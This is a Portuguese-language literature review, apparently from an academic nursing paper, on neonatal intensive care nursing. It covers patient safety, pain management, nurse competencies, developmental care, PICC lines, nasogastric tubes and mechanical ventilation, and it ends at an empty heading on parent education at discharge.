<p class="wp-block-paragraph">A segurança do paciente neonatal constitui um dos pilares da qualidade assistencial nas Unidades de Terapia Intensiva Neonatal (UTIN), dada a vulnerabilidade extrema dos recém-nascidos a eventos adversos. De acordo com a Organização Mundial da Saúde, a segurança do paciente envolve a prevenção de erros e danos evitáveis relacionados ao cuidado em saúde. Quando aplicada ao ambiente neonatal, essa definição adquire contornos ainda mais delicados, pois envolve pacientes com limitações fisiológicas, comunicação não verbal e alta dependência tecnológica (SANTOS, 2023).</p>



<p class="wp-block-paragraph">As práticas de segurança na UTIN devem contemplar desde o cuidado básico até a manipulação de tecnologias avançadas, ao passar pela administração segura de medicamentos, identificação correta do paciente, uso adequado de dispositivos invasivos e prevenção de infecções. A Política Nacional de Segurança do Paciente (PNSP), instituída pela Portaria nº 529/2013, reforça que a segurança deve ser um eixo transversal às ações da equipe de saúde, sendo o enfermeiro responsável direto por diversos pontos críticos do processo assistencial (ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">Eventos adversos como erros de medicação, quedas, extubações acidentais, sondagens mal posicionadas, infecções relacionadas à assistência e falhas de identificação são frequentemente registrados em UTINs. A ocorrência desses eventos está relacionada a fatores como sobrecarga de trabalho, ausência de protocolos padronizados, falhas na comunicação interprofissional e deficiências na capacitação contínua dos profissionais (SILVA et al., 2020; SOUZA; ARAÚJO; BARRETO, 2022).</p>



<p class="wp-block-paragraph">Um dos grandes desafios da segurança neonatal é garantir a administração segura de medicamentos, já que os erros de dosagem são comuns devido à necessidade de cálculos complexos baseados no peso e idade gestacional. A dupla checagem, a prescrição eletrônica e o uso de protocolos específicos são estratégias recomendadas para reduzir esse tipo de falha. Cabe ao enfermeiro a responsabilidade pela conferência final e administração, o que exige concentração, conhecimento e aderência irrestrita aos procedimentos (FERRO et al., 2023).</p>



<p class="wp-block-paragraph">Outro ponto crítico é a prevenção de infecções hospitalares, que representam uma das principais causas de morbimortalidade neonatal. A correta higienização das mãos, a manipulação segura de dispositivos invasivos (como cateteres e sondas), a troca adequada de materiais e o uso criterioso de antimicrobianos são práticas fundamentais para o controle de infecções em UTIN. O enfermeiro atua diretamente em todas essas etapas, sendo protagonista da vigilância epidemiológica e da educação permanente da equipe (CAVALCANTE et al., 2020).</p>



<p class="wp-block-paragraph">A identificação correta do paciente é outro componente indispensável da segurança neonatal. Erros nesse processo podem levar à administração de medicamentos errados, realização de exames em neonatos trocados ou mesmo cirurgias equivocadas. As práticas recomendadas incluem o uso de pulseiras identificadoras com dupla conferência e a comunicação verbal segura entre os membros da equipe, especialmente durante transferências de setor ou turnos (SANTOS, 2023).</p>



<p class="wp-block-paragraph">A comunicação entre os profissionais da equipe multiprofissional também impacta diretamente na segurança. Relatórios verbais incompletos, falhas de anotação e ruídos no repasse de informações comprometem a continuidade e integridade da assistência. Estratégias como a padronização de passagens de plantão com uso de checklists e o incentivo à cultura do reporte sem punição são fundamentais para fortalecer o clima de segurança institucional (ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">Importante ainda destacar que a segurança do paciente está intrinsecamente ligada à cultura organizacional. Equipes que atuam sob clima de medo, hierarquia rígida e ausência de feedback tendem a ocultar erros e falhas. Por outro lado, instituições que promovem o diálogo aberto, o estímulo à notificação espontânea de incidentes e a educação permanente conseguem melhores indicadores de qualidade e redução de danos (FERRO et al., 2023).</p>



<p class="wp-block-paragraph">A segurança também deve ser promovida junto à família, por meio do envolvimento dos pais nos cuidados e orientações claras sobre os riscos e sinais de alerta. A inclusão da família nas rotinas, a prática do Método Canguru e a presença controlada durante procedimentos fortalecem o vínculo e contribuem para a vigilância compartilhada do cuidado, que amplia o potencial de proteção ao neonato (ROSA et al., 2022).</p>



<p class="wp-block-paragraph">Portanto, promover a segurança do paciente neonatal vai além da prevenção de erros técnicos; exige uma abordagem sistêmica que envolva cultura institucional, educação permanente, boas práticas assistenciais e participação ativa da equipe e da família. A enfermagem, pela posição estratégica na linha de frente da assistência, desempenha papel central nessa engrenagem, sendo tanto executora quanto guardiã dos princípios que asseguram a vida e a dignidade do recém-nascido (SANTOS, 2023; FERRO et al., 2023).</p>



<p class="wp-block-paragraph"><strong>Manejo da Dor Neonatal</strong></p>



<p class="wp-block-paragraph">Por muito tempo, acreditou-se que o recém-nascido, especialmente o prematuro, não possuía maturidade neurológica suficiente para perceber a dor. Hoje, no entanto, é amplamente reconhecido que o neonato não apenas sente dor, como também pode apresentar respostas fisiológicas e comportamentais intensas frente a estímulos dolorosos, além de consequências neuropsicológicas a longo prazo caso não receba manejo adequado (UEMA et al., 2021; SILVA et al., 2020).</p>



<p class="wp-block-paragraph">O sistema nociceptivo do recém-nascido encontra-se funcional desde as 24 semanas de idade gestacional, e a sensibilidade à dor tende a ser maior do que em crianças mais velhas, devido à imaturidade das vias inibitórias centrais. Isso significa que o estímulo doloroso é percebido de forma intensa, mas o organismo ainda possui mecanismos limitados para modulá-lo. A repetição de estímulos dolorosos, sobretudo sem controle adequado, pode resultar em alterações permanentes no desenvolvimento neurocomportamental, que inclui alterações no limiar da dor e dificuldades cognitivas futuras (UEMA et al., 2021; MEDEIROS et al., 2023).</p>



<p class="wp-block-paragraph">O reconhecimento e avaliação da dor são etapas cruciais para o manejo adequado. Como o recém-nascido não possui linguagem verbal, a enfermagem deve utilizar escalas comportamentais e fisiológicas para mensurar a dor, como a Escala Neonatal de Avaliação da Dor (NIPS), a PIPP (Premature Infant Pain Profile) e a CRIES. Tais instrumentos permitem avaliar parâmetros como choro, expressão facial, frequência cardíaca, saturação de oxigênio e agitação motora, orienta intervenções mais seguras e efetivas (FERRO et al., 2023).</p>



<p class="wp-block-paragraph">O manejo da dor em UTIN deve abranger tanto métodos não farmacológicos quanto farmacológicos. Entre os primeiros, destacam-se a contenção facilitadora, a sucção não nutritiva, o uso de glicose oral, o contato pele a pele e a utilização do Método Canguru. Essas estratégias têm eficácia comprovada para procedimentos breves e minimamente invasivos, como punções e coletas de sangue (MEDEIROS et al., 2023; GREBINSKI et al., 2023).</p>



<p class="wp-block-paragraph">Os métodos farmacológicos, devem ser utilizados com cautela, principalmente em casos de procedimentos mais invasivos ou dor persistente. O uso de analgésicos opioides e sedativos exige monitoramento rigoroso, pois há risco de depressão respiratória, alterações hemodinâmicas e efeitos adversos cumulativos. A decisão pela analgesia farmacológica deve considerar a idade gestacional, o estado clínico do paciente e o tipo de intervenção a ser realizada (UEMA et al., 2021).</p>



<p class="wp-block-paragraph">O enfermeiro tem papel fundamental na identificação precoce da dor e na implementação de estratégias analgésicas. Por estar mais próximo do paciente e realizar a maioria das intervenções dolorosas, é este profissional quem detém maior responsabilidade na aplicação de escalas, administração de medidas e observação de respostas ao tratamento. Assim, o conhecimento técnico e a sensibilidade clínica do enfermeiro são determinantes na promoção do conforto neonatal (FERRO et al., 2023; SANTOS, 2023).</p>



<p class="wp-block-paragraph">Entretanto, apesar da ampla produção científica sobre o tema, a dor neonatal ainda é subtratada nas UTINs. A ausência de protocolos padronizados, o desconhecimento ou negligência da equipe, a subvalorização dos sinais de dor e a falta de preparo técnico são apontados como causas principais para a persistência dessa lacuna assistencial. Muitos procedimentos invasivos são realizados rotineiramente sem qualquer tipo de alívio da dor (ALMEIDA et al., 2024; GREBINSKI et al., 2023).</p>



<p class="wp-block-paragraph">As consequências da dor não tratada vão além do desconforto imediato. Estudos demonstram que a exposição repetida à dor nos primeiros dias de vida pode gerar alterações permanentes no eixo hipotálamo-hipófise-adrenal, influenciar o padrão de sono, afetar o crescimento cerebral e predispor a distúrbios comportamentais na infância. Além disso, a dor não controlada prejudica a recuperação clínica e aumenta o tempo de internação (MEDEIROS et al., 2023).</p>



<p class="wp-block-paragraph">A criação de protocolos institucionais é uma estratégia essencial para garantir o manejo sistemático e eficaz da dor neonatal. Tais protocolos devem prever a avaliação rotineira da dor, a implementação de medidas preventivas antes de procedimentos, a capacitação da equipe e a auditoria de resultados. A cultura do cuidado humanizado precisa estar enraizada na rotina das UTINs, de forma que a dor do neonato seja considerada uma emergência clínica (SANTOS, 2023; FERRO et al., 2023).</p>



<p class="wp-block-paragraph">Portanto, manejar a dor do recém-nascido é um dever ético, técnico e legal da equipe de enfermagem. Mais do que mitigar o sofrimento momentâneo, o controle adequado da dor neonatal contribui para o desenvolvimento neurológico saudável, fortalece a relação com os cuidadores e eleva a qualidade da assistência prestada. A enfermagem, como principal executora do cuidado direto, tem o poder e a responsabilidade de transformar essa realidade por meio do conhecimento e da prática sensível (UEMA et al., 2021; ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph"><strong>Competências Profissionais da Enfermagem Neonatal</strong></p>



<p class="wp-block-paragraph">As Unidades de Terapia Intensiva Neonatal (UTIN) impõem à equipe de enfermagem desafios assistenciais e éticos que exigem competências específicas e amplamente desenvolvidas. O cuidado ao recém-nascido crítico envolve não apenas domínio técnico-científico, mas também capacidade de julgamento clínico, sensibilidade relacional, liderança, gestão de riscos e habilidades em comunicação com famílias e equipes interdisciplinares (FERRO et al., 2023).</p>



<p class="wp-block-paragraph">As competências profissionais da enfermagem neonatal podem ser classificadas em três dimensões principais: técnicas, relacionais e organizacionais. As competências técnicas dizem respeito ao conhecimento dos processos fisiopatológicos do neonato, à aplicação segura de tecnologias de suporte à vida, à execução de procedimentos invasivos e ao manejo de situações clínicas agudas. Enfermagem em UTIN requer familiaridade com ventilação mecânica, monitorização contínua, punções complexas, administração de medicamentos de alto risco e controle rigoroso de sinais vitais (ULIAN et al., 2023; ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">Já as competências relacionais abrangem a habilidade de comunicar-se com empatia, de forma acolhedora e ética, especialmente com os pais do neonato, que frequentemente vivenciam medo, culpa, insegurança e sofrimento. O enfermeiro é o elo entre o universo tecnológico e o cuidado humanizado, sendo responsável por traduzir informações clínicas em linguagem acessível e prestar suporte emocional durante todo o processo de hospitalização e na alta (ARAÚJO et al., 2022; ROSA et al., 2022).</p>



<p class="wp-block-paragraph">As competências organizacionais referem-se à capacidade de planejar, priorizar demandas, tomar decisões rápidas, liderar a equipe de enfermagem e garantir a continuidade do cuidado. Cabe ao enfermeiro coordenar a Sistematização da Assistência de Enfermagem (SAE), supervisionar o cumprimento de protocolos e articular a assistência interprofissional, que assegura que cada etapa do cuidado ocorra de forma segura, ética e eficiente (FERRO et al., 2023; SANTOS, 2023).</p>



<p class="wp-block-paragraph">Estudos demonstram que a presença de enfermeiros com formação especializada em neonatologia está associada a melhores desfechos clínicos, menor taxa de infecção e redução de eventos adversos. A qualificação da equipe também influencia diretamente no manejo da dor, na aplicação do cuidado desenvolvimental e na adaptação ao uso de novas tecnologias, como o cateter central de inserção periférica (PICC) e os modos avançados de ventilação mecânica (ULIAN et al., 2023; CAVALCANTE et al., 2020).</p>



<p class="wp-block-paragraph">Além da formação técnica, o desenvolvimento profissional contínuo é um dos pilares para a manutenção da competência em ambientes críticos. A educação permanente, por meio de treinamentos, simulações clínicas, auditorias e atualização baseada em evidências, é fundamental para manter a equipe alinhada às melhores práticas assistenciais e às exigências normativas de segurança do paciente (ALMEIDA et al., 2024; SANTOS, 2023).</p>



<p class="wp-block-paragraph">A tomada de decisão clínica em UTIN é uma competência que exige raciocínio rápido, conhecimento aprofundado e capacidade de priorizar intervenções com base no estado hemodinâmico do neonato. A enfermagem precisa reconhecer alterações sutis nos padrões de comportamento ou nos sinais vitais e agir com assertividade, muitas vezes em cenários de instabilidade clínica grave (BERNARDINO et al., 2020).</p>



<p class="wp-block-paragraph">A atuação ética e legal também compõe o conjunto de competências esperadas do enfermeiro neonatal. A observância às legislações profissionais, às normas da Agência Nacional de Vigilância Sanitária (ANVISA), ao Código de Ética da Enfermagem e aos direitos do recém-nascido deve estar presente em cada conduta, para garantir não apenas a qualidade técnica, mas a legitimidade do cuidado (SOUZA; ARAÚJO; BARRETO, 2022).</p>



<p class="wp-block-paragraph">Outro aspecto importante é a capacidade de registrar corretamente as ações de enfermagem. Os registros clínicos detalhados, fidedignos e realizados em tempo oportuno têm valor legal e assistencial, além de subsidiarem a continuidade do cuidado. Eles também são indicadores da competência profissional e são essenciais em auditorias, processos judiciais e pesquisas (SANTOS, 2023).</p>



<p class="wp-block-paragraph">Por fim, o aprimoramento das competências profissionais da enfermagem neonatal deve ser compreendido como um processo contínuo, que depende da articulação entre formação acadêmica, experiência clínica, suporte institucional e valorização do saber técnico e humanizado. O reconhecimento das múltiplas dimensões do cuidado ao recém-nascido é o que consolida o enfermeiro como protagonista da assistência em UTIN (FERRO et al., 2023; ULIAN et al., 2023).</p>



<p class="wp-block-paragraph"><strong>Cuidado Desenvolvimental</strong></p>



<p class="wp-block-paragraph">O cuidado desenvolvimental constitui uma abordagem centrada nas necessidades fisiológicas, neurológicas e comportamentais do recém-nascido, especialmente os prematuros, com o objetivo de minimizar o estresse ambiental e promover o desenvolvimento neurossensorial adequado. Esta prática surgiu da observação dos efeitos deletérios do ambiente hospitalar sobre o organismo imaturo, como a exposição contínua à luz artificial intensa, ruídos, manipulações excessivas e separação do vínculo familiar (MEDEIROS et al., 2023).</p>



<p class="wp-block-paragraph">Entre as estratégias técnicas do cuidado desenvolvimental, destacam-se o controle do ambiente físico, o posicionamento terapêutico, o agrupamento de procedimentos, a proteção do sono e o contato pele a pele com os pais. Tais intervenções respeitam os limites neurológicos do neonato e favorecem a autorregulação comportamental, com efeitos positivos na estabilidade cardiorrespiratória, no ganho ponderal, na redução de infecções e na duração da internação (MEDEIROS et al., 2023; ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">O controle ambiental é uma das primeiras medidas a serem implementadas. Isso envolve a redução da luminosidade, com uso de capas de incubadora, ajuste da intensidade da luz conforme o ciclo circadiano, e minimização de ruídos no ambiente, especialmente sons agudos ou repentinos, que podem provocar dessaturações e bradicardias. A temperatura também deve ser rigorosamente controlada para evitar oscilações térmicas e garantir estabilidade metabólica (SANTOS, 2023).</p>



<p class="wp-block-paragraph">O posicionamento terapêutico é outra prática essencial, que deve respeitar a simetria corporal e favorecer a flexão, que imita a posição intrauterina. A utilização de rolos, ninho posicionador e redes facilita a autorregulação motora, reduz o gasto energético e melhora o desenvolvimento músculo-esquelético. Essas técnicas também previnem deformidades posturais e promovem conforto durante o uso de dispositivos como ventiladores e cateteres (ULIAN et al., 2023).</p>



<p class="wp-block-paragraph">A contenção, especialmente durante procedimentos dolorosos ou manipulações invasivas, é uma forma de cuidado técnico que promove estabilidade neurológica. A contenção manual ou com posicionadores diminui o estresse, reduz a variabilidade da frequência cardíaca e melhora a oxigenação. Em associação, pode-se utilizar a sucção não nutritiva e a administração de glicose a 25% como estratégias complementares no controle da dor (UEMA et al., 2021).</p>



<p class="wp-block-paragraph">O agrupamento de procedimentos é uma técnica que visa reduzir o número de manipulações durante o dia, que permite ao recém-nascido períodos prolongados de descanso e sono reparador. O sono é fundamental para o crescimento e a maturação cerebral, sendo interrompido constantemente por cuidados isolados e desnecessários. Agrupar intervenções como troca de fralda, aspiração, verificação de sinais vitais e administração de medicamentos contribui para a redução do estresse e da fadiga (MEDEIROS et al., 2023).</p>



<p class="wp-block-paragraph">O uso do Método Canguru também integra o cuidado desenvolvimental e está diretamente associado à evolução clínica positiva dos neonatos. O contato pele a pele com os pais, especialmente a mãe, estabiliza a frequência cardíaca, melhora a saturação de oxigênio, estimula a lactação, fortalece o vínculo afetivo e reduz significativamente a dor em procedimentos invasivos. A enfermagem tem papel fundamental na inserção da família nessa prática (ROSA et al., 2022; ARAÚJO et al., 2022).</p>



<p class="wp-block-paragraph">O banho deve ser avaliado cuidadosamente, principalmente em prematuros de muito baixo peso. Procedimentos como o banho de imersão e o banho no leito são preferíveis ao banho de aspersão, pois reduzem a perda de calor e o estresse fisiológico. A frequência, o tipo de insumo utilizado, o momento clínico do neonato e a estabilidade hemodinâmica devem ser criteriosamente avaliados pelo enfermeiro (SILVA et al., 2020).</p>



<p class="wp-block-paragraph">Para que o cuidado desenvolvimental seja eficaz, é fundamental que a equipe de enfermagem esteja capacitada e sensibilizada quanto à importância. A adoção dessas práticas exige mudança de cultura institucional, organização do processo de trabalho e disponibilidade de materiais adequados. Além disso, a aplicação deve estar integrada à Sistematização da Assistência de Enfermagem (SAE), garante individualização e continuidade do cuidado (FERRO et al., 2023).</p>



<p class="wp-block-paragraph">Dessa forma, o cuidado desenvolvimental representa uma mudança de paradigma na assistência neonatal, ao unir conhecimento técnico com sensibilidade humana. As estratégias contribuem não apenas para a recuperação clínica, mas também para a construção de vínculos seguros, prevenção de sequelas neurológicas e humanização do ambiente intensivo. A enfermagem, por estar em contato direto e contínuo com o neonato, torna-se agente fundamental para que essas práticas sejam efetivas e permanentes na rotina da UTIN (MEDEIROS et al., 2023; ULIAN et al., 2023).</p>



<p class="wp-block-paragraph"><strong>O Cateter Central de Inserção Periférica</strong></p>



<p class="wp-block-paragraph">O Cateter Central de Inserção Periférica (PICC) é um dispositivo amplamente utilizado em Unidades de Terapia Intensiva Neonatal (UTIN), destinado ao acesso venoso de longa permanência para administração de medicamentos, nutrição parenteral e fluidoterapia. A utilização representa um avanço na terapia intravenosa, especialmente em neonatos prematuros ou com difícil acesso venoso periférico, por oferecer menor risco de complicações quando comparado a acessos centrais cirúrgicos (ULIAN et al., 2023; FERRO et al., 2023).</p>



<p class="wp-block-paragraph">O PICC é inserido por punção de veia periférica, geralmente na extremidade superior, e o cateter é introduzido até atingir a veia cava superior (em membros superiores) ou a veia cava inferior (em membros inferiores). O posicionamento correto do cateter é fundamental para garantir eficácia e evitar complicações, sendo geralmente confirmado por radiografia torácica. A enfermagem deve dominar a técnica de inserção, monitoramento e manutenção, ao respeitar critérios de assepsia rigorosa e protocolo institucional (CAVALCANTE et al., 2020)</p>



<p class="wp-block-paragraph">Entre as principais indicações para uso de PICC em neonatologia estão: necessidade de acesso venoso por mais de sete dias, administração de soluções hiperosmolares (como nutrição parenteral total), medicamentos vesicantes ou irritantes, antibioticoterapia prolongada e em situações de múltiplas tentativas de punção periférica. A utilização contribui para a redução da dor, do trauma vascular e das infecções de repetição decorrentes de múltiplas punções periféricas (FERRO et al., 2023; ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">Apesar dos benefícios, o uso do PICC exige atenção permanente quanto ao risco de complicações, como flebite, oclusão, embolia, extravasamento, infecção da corrente sanguínea e mau posicionamento do cateter. A prevenção dessas intercorrências depende da escolha adequada do sítio de inserção, da técnica asséptica, da fixação correta do cateter e da manutenção diária, com avaliação de permeabilidade, sinais flogísticos e integridade da pele (ULIAN et al., 2023).</p>



<p class="wp-block-paragraph">A inserção do PICC é um procedimento de enfermagem especializado, regulamentado por resoluções dos Conselhos Regionais de Enfermagem, desde que o profissional esteja capacitado e autorizado pela instituição. A capacitação técnica deve incluir conhecimentos anatômicos, fisiológicos, microbiológicos, domínio da técnica de punção, manipulação do dispositivo, reconhecimento de complicações e atuação em situações de emergência (SANTOS, 2023; SOUZA; ARAÚJO; BARRETO, 2022).</p>



<p class="wp-block-paragraph">A manutenção do PICC envolve cuidados específicos como lavagem com solução salina, controle rigoroso da permeabilidade, troca programada de curativo estéril com técnica sem toque e manipulação com técnica de barreira máxima. O uso de sistemas fechados, conectores sem agulha e dispositivos antirrefluxo também contribui para a redução de infecções associadas ao cateter (CAVALCANTE et al., 2020).</p>



<p class="wp-block-paragraph">A enfermagem também deve estar atenta ao tempo de permanência do PICC, que evita o uso prolongado desnecessário, o que pode aumentar o risco de complicações. A indicação deve ser reavaliada periodicamente, e o cateter removido assim que a via oral for estabelecida ou quando houver melhora clínica que dispense o acesso central (FERRO et al., 2023).</p>



<p class="wp-block-paragraph">A inserção do PICC exige abordagem acolhedora e informativa junto aos pais, que devem ser orientados sobre a finalidade do dispositivo, cuidados com a manipulação e sinais de alerta. A comunicação humanizada fortalece o vínculo com a família e contribui para a adesão ao cuidado compartilhado, especialmente em casos de manutenção do cateter após a alta hospitalar (ARAÚJO et al., 2022; ROSA et al., 2022).</p>



<p class="wp-block-paragraph">Do ponto de vista institucional, a implantação de protocolos assistenciais padronizados para o uso do PICC é fundamental. Esses protocolos devem contemplar critérios para indicação, inserção, manutenção, monitoramento, prevenção de infecções e capacitação periódica da equipe. A existência de indicadores de qualidade relacionados ao uso do cateter contribui para a segurança do paciente e a eficiência do cuidado (SANTOS, 2023; ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">Assim, o PICC representa não apenas uma alternativa técnica segura e eficaz para o acesso venoso prolongado no neonato, mas também um marco de competência profissional da enfermagem, cujo uso adequado exige formação específica, atualização constante, sensibilidade clínica e atuação alinhada aos princípios da segurança do paciente, sendo um componente essencial no arsenal terapêutico (ULIAN et al., 2023; FERRO et al., 2023).</p>



<p class="wp-block-paragraph"><strong>Cuidado com Cateteres e Sondas&nbsp;</strong></p>



<p class="wp-block-paragraph">A utilização de cateteres e sondas é rotina na assistência ao recém-nascido em Unidades de Terapia Intensiva Neonatal (UTIN), sendo essencial para alimentação, aspiração, medicação e monitoramento. A sonda nasogástrica (SNG) é um dos dispositivos mais comumente utilizados e, apesar de ser um procedimento aparentemente simples, envolve riscos significativos quando realizada de forma inadequada. Por isso, a correta inserção, fixação e monitoramento são competências críticas para o enfermeiro (SANTOS, 2023; CAVALCANTE et al., 2020).</p>



<p class="wp-block-paragraph">No paciente neonatal, a SNG é indicada principalmente para alimentação enteral e descompressão gástrica. A introdução requer extremo cuidado, visto que a anatomia neonatal é estreita e imatura, com risco elevado de perfuração, obstrução respiratória, regurgitação e aspiração. Além disso, uma sonda mal posicionada pode ser inadvertidamente inserida no trato respiratório, que resulta em complicações potencialmente fatais como pneumotórax, atelectasia ou pneumonia aspirativa (SOUZA; ARAÚJO; BARRETO, 2022).</p>



<p class="wp-block-paragraph">A mensuração correta do comprimento da sonda é fundamental para garantir o posicionamento adequado na região gastrointestinal. A fórmula mais utilizada para tal mensuração no neonato é NEMU (Nose–Earlobe–Mid-Umbilicus), que determina o trajeto anatômico ideal entre a narina, o lóbulo da orelha e a linha média entre o apêndice xifoide e o umbigo. A fixação deve ser firme e em posição neutra, preferencialmente com micropore, para evitar compressões e lesões cutâneas (FERRO et al., 2023).</p>



<p class="wp-block-paragraph">Após a inserção, o posicionamento da SNG deve ser confirmado antes de cada uso. Em neonatologia, o método mais confiável é o exame radiológico, mas, na prática clínica, utiliza-se a aspiração do conteúdo gástrico e verificação do pH, que deve estar abaixo de 5,5. A ausculta epigástrica isolada, embora tradicional, é pouco segura e não deve ser utilizada como único critério de verificação (ALMEIDA et al., 2024; SANTOS, 2023).</p>



<p class="wp-block-paragraph">O uso da sonda deve ser sistematicamente avaliado pela equipe de enfermagem. É fundamental observar sinais de intolerância alimentar, como distensão abdominal, vômitos, resíduos gástricos elevados e alterações no padrão respiratório. A manutenção do dispositivo exige cuidados com a integridade da pele, higiene bucal, monitoramento de sinais de infecção e troca da sonda conforme protocolo institucional, geralmente entre 3 a 7 dias (ULIAN et al., 2023).</p>



<p class="wp-block-paragraph">As complicações associadas ao uso indevido de SNG incluem perfuração gástrica, necrose nasal, lesão de septo nasal, aspiração pulmonar, deslocamento do cateter e infecções locais. Tais eventos podem ser prevenidos com técnica asséptica, verificação rigorosa do posicionamento, avaliação da permeabilidade e capacitação da equipe. A enfermagem tem papel primordial tanto na prevenção quanto na intervenção precoce desses agravos (CAVALCANTE et al., 2020).</p>



<p class="wp-block-paragraph">Além da técnica, é fundamental considerar o impacto da SNG no conforto e no neurodesenvolvimento do neonato. A presença do tubo pode gerar estímulos nociceptivos contínuos, afetar a sucção e prejudicar o vínculo com o seio materno. Por isso, é essencial a necessidade seja constantemente reavaliada, ao buscar a transição precoce para alimentação oral, quando possível, com suporte fonoaudiológico e multiprofissional (MEDEIROS et al., 2023).</p>



<p class="wp-block-paragraph">A documentação completa das informações relacionadas ao uso da sonda, como hora da inserção, verificação do posicionamento, tipo de dieta, débito gástrico e intercorrências, é parte fundamental da Sistematização da Assistência de Enfermagem (SAE). Registros precisos permitem o rastreamento de eventos adversos, facilitam auditorias clínicas e subsidiam tomadas de decisão seguras (FERRO et al., 2023).</p>



<p class="wp-block-paragraph">A capacitação contínua da equipe de enfermagem é estratégica para a segurança no uso de sondas. A implementação de treinamentos práticos, simulações clínicas e auditorias internas são formas eficazes de reduzir falhas técnicas e padronizar condutas. A adesão aos protocolos de inserção, fixação e manutenção de sondas é fator determinante para evitar erros assistenciais (SANTOS, 2023; ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">Em síntese, a manipulação de sondas e cateteres exige do enfermeiro neonatal precisão técnica, conhecimento anatômico, responsabilidade legal e sensibilidade clínica. A inserção correta da sonda nasogástrica, embora considerada um procedimento de rotina, envolve alto risco e requer um olhar apurado para a singularidade do neonato. Quando bem executada, essa prática contribui significativamente para a recuperação nutricional e para a promoção do conforto e da segurança do paciente (FERRO et al., 2023; ULIAN et al., 2023).</p>



<p class="wp-block-paragraph"><strong>Cuidados com Ventilação Mecânica Invasiva e Não Invasiva</strong></p>



<p class="wp-block-paragraph">A insuficiência respiratória é uma das principais causas de internação em Unidades de Terapia Intensiva Neonatal (UTIN), sendo especialmente prevalente em prematuros devido à imaturidade pulmonar e à deficiência de surfactante. Nesses casos, o suporte ventilatório é essencial para garantir a oxigenação adequada e prevenir complicações secundárias à hipóxia. A assistência de enfermagem à ventilação mecânica, seja invasiva ou não invasiva, exige preparo técnico rigoroso e vigilância constante para evitar eventos adversos (FERRO et al., 2023; ULIAN et al., 2023).</p>



<p class="wp-block-paragraph">A ventilação mecânica invasiva (VMI) é indicada em situações graves, como síndrome do desconforto respiratório (SDR), apneia de prematuridade, aspiração meconial e sepse. Nessa modalidade, a via aérea é assegurada por tubo orotraqueal, sendo necessária a sedação e o uso de ventiladores mecânicos com parâmetros ajustados à idade e à condição clínica do neonato. A atuação do enfermeiro nesse contexto envolve cuidados com a fixação do tubo, aspiração de vias aéreas, monitoramento da pressão do cuff (quando presente), prevenção de extubação acidental e controle rigoroso da gasometria arterial (CAVALCANTE et al., 2020; ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">A ventilação não invasiva (VNI), tem ganhado destaque por reduzir o tempo de ventilação invasiva, diminuir complicações pulmonares crônicas e favorecer o desenvolvimento neurológico. As modalidades mais utilizadas em neonatologia incluem o CPAP nasal (Continuous Positive Airway Pressure), a ventilação com pressão positiva intermitente nasal (nIPPV) e o high flow nasal cannula (HFNC). Esses dispositivos mantêm a permeabilidade das vias aéreas sem a necessidade de intubação, para oferecer suporte eficaz com menor risco de lesões traqueais (ULIAN et al., 2023; MEDEIROS et al., 2023).</p>



<p class="wp-block-paragraph">Apesar de ser menos invasiva, a VNI não está isenta de riscos. Uma das complicações mais frequentes é a lesão de pele e mucosas decorrente da pressão exercida pelas cânulas nasais, máscaras ou prongas mal posicionadas. As lesões por pressão associadas à VNI podem causar necrose nasal, hemorragias, infecções secundárias e deformidades estéticas, além de provocar dor e estresse no neonato. A enfermagem é protagonista na prevenção desses agravos (SANTOS, 2023; SILVA et al., 2020).</p>



<p class="wp-block-paragraph">As estratégias de prevenção incluem a escolha correta do interface, a monitorização constante da pele, o uso de barreiras protetoras como hidrocolóides e espumas, o revezamento de pontos de apoio e a realização de inspeções frequentes da face e narinas. Além disso, é fundamental assegurar o posicionamento anatômico da cabeça e do pescoço, para garantir o ajuste adequado dos dispositivos sem causar tensão ou deslocamento (MEDEIROS et al., 2023; FERRO et al., 2023).</p>



<p class="wp-block-paragraph">O enfermeiro também deve atentar para os sinais de desconforto respiratório, como batimento de asas nasais, gemido expiratório, retrações intercostais e taquipneia. A monitorização contínua da frequência respiratória, da saturação de oxigênio e da mecânica ventilatória permite intervenções precoces diante de falhas do suporte respiratório, o que evita agravamento do quadro clínico e a necessidade de reintubação (ULIAN et al., 2023).</p>



<p class="wp-block-paragraph">A aspiração de vias aéreas é um procedimento frequente nos pacientes sob VMI, que deve ser realizada com técnica estéril, tempo reduzido e pressão negativa controlada. A aspiração inadequada pode provocar hipóxia, bradicardia e trauma de mucosa. Já na VNI, a presença de secreções abundantes pode indicar necessidade de revisão dos parâmetros ventilatórios ou sinais de infecção. A avaliação auscultatória e a observação clínica são ferramentas indispensáveis para a enfermagem (CAVALCANTE et al., 2020).</p>



<p class="wp-block-paragraph">A transição do suporte ventilatório, seja da VMI para a VNI ou da VNI para o ar ambiente, deve ser planejada cuidadosamente, ao respeitar os critérios clínicos de estabilidade, como padrão respiratório regular, bom esforço respiratório e troca gasosa satisfatória. O desmame precoce ou intempestivo pode levar a recaídas e maior tempo de internação. O enfermeiro deve participar ativamente desse processo, ao fornecer dados clínicos e observações relevantes à equipe multiprofissional (ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">Outro aspecto importante é a sedação e analgesia dos neonatos em ventilação invasiva. A dor, o desconforto e o estresse contínuo associados à intubação e à ventilação mecânica devem ser avaliados rotineiramente, com escalas de dor apropriadas, e manejados conforme protocolos, ao respeitar o equilíbrio entre conforto e segurança respiratória. A humanização do cuidado respiratório exige sensibilidade e vigilância (UEMA et al., 2021; GREBINSKI et al., 2023).</p>



<p class="wp-block-paragraph">Em síntese, os cuidados com a ventilação mecânica neonatal, seja invasiva ou não invasiva, exigem do enfermeiro competências técnicas, conhecimento atualizado e capacidade de tomar decisões baseadas em evidências. A atuação cuidadosa da enfermagem é determinante para o sucesso da ventilação, a prevenção de complicações e a reabilitação pulmonar segura e eficaz do neonato crítico (FERRO et al., 2023; SANTOS, 2023).</p>



<p class="wp-block-paragraph"><strong>Educação Continuada com os Pais na Alta Hospitalar</strong></p>



